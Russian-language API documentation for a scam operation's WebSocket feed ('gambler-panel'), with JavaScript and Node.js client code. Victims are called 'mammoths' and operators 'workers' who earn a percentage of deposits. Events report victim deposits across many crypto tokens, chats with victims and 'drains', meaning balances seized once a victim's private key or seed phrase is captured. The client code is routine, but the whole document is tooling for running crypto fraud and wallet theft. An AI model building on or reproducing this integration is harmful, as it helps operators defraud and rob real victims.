API DOCS | WebSockets - NEW

Новые сокеты

URL: wss://gambler-panel.com/api/ws?token=:token&connectionType=:cType

:token - "Worker $authToken"

:cType - "bot"

Новый формат сообщений:

{ 
  "name": "имя_события",
  "data": { 
     /* содержание события, 
     идентично тому что было раньше (API Docs | Socket.io) */
      }
}

Содержание события newDeposit

{
    id: "7225647136791068672", // id депозита
    mammothId: "7225647165131980801", // id мамонта
    mammothLogin: "[email protected]",
    mammothCountry: "US", // alpha-2 код страны
    mammothPromo: "superpromo", // промокод активированный на время депозита
    token: "btc", // токен депозита
    amount: 1, // сумма депозита в токене
    amountUsd: 60709.10, // сумма депозита в USD
    workerPercent: 60, // процент воркера на момент депозита
    domain: "example.com", // домен воркера
    txHash: "0000000003d0fbe4a8ec..." // хеш транзакции
}
/*
Список токенов:
btc, ltc, xrp, trx_trc20, usdt_trc20, eth_erc20, usdt_erc20, eth_base, usdc_base, usdc_erc20, usdc_bep20, bnb_bep20, usdt_bep20, ton_ton, usdt_ton, sol_sol, usdt_sol, usdc_sol
*/

Содержание события newDrain

{
    info: {
        mammothId: "id мамонта",
        mammothPromo: "promo мамонта",
        domain: "домен мамонта",
        network: "сеть если выбрано private key, any если выбрано phrase"
    },
    balances: [{
        token: "токен баланса с указанием сети", // например eth_erc20, usdt_trc20
        usd: "баланс в $"
    }] // массив со всеми балансами
}

Содержание события newMessage

{
    id: "7225647136791068672", // id сообщения
    mammothId: "7225647165131980801", // id мамонта
    text: "текст сообщения", // отсутствует если есть picture
    picture: "название файла с изображением", // отсутствует если есть text
    side: "mammoth", // отправитель (mammoth или worker)
    login: "[email protected]",
    country: "US",
    domain: "example.com",
    promo: "superpromo",
    createdAt: "2024-08-24T23:10:38.353Z"
}

Раз в 5 секунд приходит событие {"name":"ping","data":{}}

На него необходимо моментально отвечать {"name":"pong"}

Вы также можете использовать это для обнаружения "мертвых" соединений. Если в течении 10-и секунд от последнего ping не пришёл еще один ping, значит подключение 100% мертво.

Примеры реализации:

JavaScript

const token = encodeURIComponent("Worker 123123123");
let ws = null;

function connectToWS() {
    ws = new WebSocket(`wss://gambler-panel.com/api/ws?token=${token}&connectionType=bot`);
    let diedTimeout = null;
    let connectTimeout = null;
    let setDiedTimeout = (time = 10000) => {
        if(diedTimeout) clearTimeout(diedTimeout);
        if(connectTimeout) clearTimeout(connectTimeout);
        diedTimeout = setTimeout(() => {
            ws.close();
            ws.onclose();
        }, time);
    }
    setDiedTimeout(20000);
    ws.onmessage = msg => {
        try {
            let data = JSON.parse(msg.data);
            if(data.name === "ping") {
                setDiedTimeout();
                ws.send(JSON.stringify({ name: "pong" }));
            }
            else {
                //Ваша обработка остальных ивентов
            }
        } catch { }
    }
    ws.onclose = () => {
        if(diedTimeout) clearTimeout(diedTimeout);
        if(connectTimeout) clearTimeout(connectTimeout);
        connectTimeout = setTimeout(connectToWS, 5000);
    }
}

Node.js ws module

const WebSocket = require("ws");
const token = encodeURIComponent("Worker 123123123");
let ws = null;

function connectToWS() {
    ws = new WebSocket(`wss://gambler-panel.com/api/ws?token=${token}&connectionType=bot`);
    let diedTimeout = null;
    let connectTimeout = null;
    let setDiedTimeout = (time = 10000) => {
        if(diedTimeout) clearTimeout(diedTimeout);
        if(connectTimeout) clearTimeout(connectTimeout);
        diedTimeout = setTimeout(() => {
            ws.close();
            ws.emitClose();
        }, time);
    }
    setDiedTimeout(20000);
    ws.on('message', msg => {
        try {
            let data = JSON.parse(msg.toString('utf8'));
            if(data.name === "ping") {
                setDiedTimeout();
                ws.send(JSON.stringify({ name: "pong" }));
            }
            else {
                //Ваша обработка остальных ивентов
            }
        } catch { }
    });

    ws.on('close', () => {
        if(diedTimeout) clearTimeout(diedTimeout);
        if(connectTimeout) clearTimeout(connectTimeout);
        connectTimeout = setTimeout(connectToWS, 5000);
    });
}

Last updated